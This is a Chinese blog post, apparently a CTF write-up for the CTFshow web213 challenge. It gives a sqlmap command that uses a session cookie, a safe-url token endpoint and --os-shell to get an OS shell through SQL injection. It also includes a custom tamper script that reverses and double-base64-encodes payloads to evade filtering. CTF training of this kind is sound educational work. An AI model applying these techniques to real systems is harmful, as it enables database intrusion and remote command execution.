当前位置:网站首页>CTFSHOW_WEB入门web213
CTFSHOW_WEB入门web213
2022-08-08 22:35:00 【专注web0年】
查了弄了好久才弄出来,PHPSESSID在F12储存里面找
python sqlmap.py -u http://ae405082-b410-4aef-9ff4-93d5631e06e0.challenge.ctf.show:8080/api/index.php --data="id=1" --cookie="PHPSESSID=q7paa155b5kunkr92grnsmn3rb" --method=PUT --user-agent=sqlmap --header=Content-Type:text/plain --safe-url="http://ae405082-b410-4aef-9ff4-93d5631e06e0.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=ctfshowweb213.py -D ctfshow_web --referer=ctf.show --os-shell
下面是ctfshowweb213.py
#!/usr/bin/env python
""" Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """
import base64
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace("-- -", "#")
retVal = retVal.replace(" ",chr(0x0a))
retVal = base64.b64encode(retVal[::-1].encode('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')
return retVal
其他具体操作见下图

边栏推荐
猜你喜欢

laravel6框架跨域请求利器之 Laravel CORS 扩展包的安装和使用

直播 | 服务餐饮商户年交易额超 7000 亿,哗啦啦如何用 StarRocks 搞定实时报表

SublimeText 3清凉编辑器php开发自定义颜色文字主题配置加汉化

远程调试为何要亲历现场,也许也可以这样解决

ALIPAY WEB log in rsa encryption analysis record

九大内置对象,四大作用域

几款数据可视化大屏开源项目,科技感爆棚!太哇塞了~

windows10安装vagrant+VirtualBox搭建PHP开发环境

一个PHP算法,php数组一个二维数组拆分成多个子数组

浅析WLAN——无线局域网
随机推荐
MySQL 5.5(Windows)的安装教程
ArcPy set the unique identification code
应用层协议——RADIUS
iTween使用小坑
ArcPy设置全库唯一标识码
九大内置对象四大域
ALIPAY WEB 登陆rsa加密 分析记录
2.1.5 折叠剪切展开问题
Mysql数据库身份证统计sql数据库加密等操作
Is the commission for online account opening reliable? Is it safe to open an account with an online account manager?
MES docks with Simba to realize IMEI number writing and coupling test of Spreadtrum platform
蚂蚁森林 离线爬虫自动收能量,养小鸡,等各种操作
发送封包的函数都有哪些?OD如何下断?
在chrome中呈现RTSP
MySQL 查询问题?
雷电模拟器frida脱壳
目标跟踪实战deepsort+yolov5(上)
同花顺的炒股软件买股票安全正规可信吗?
SublimeText 3清凉编辑器php开发自定义颜色文字主题配置加汉化
Unity ScrollView无限循环左右滑动翻页带阻尼效果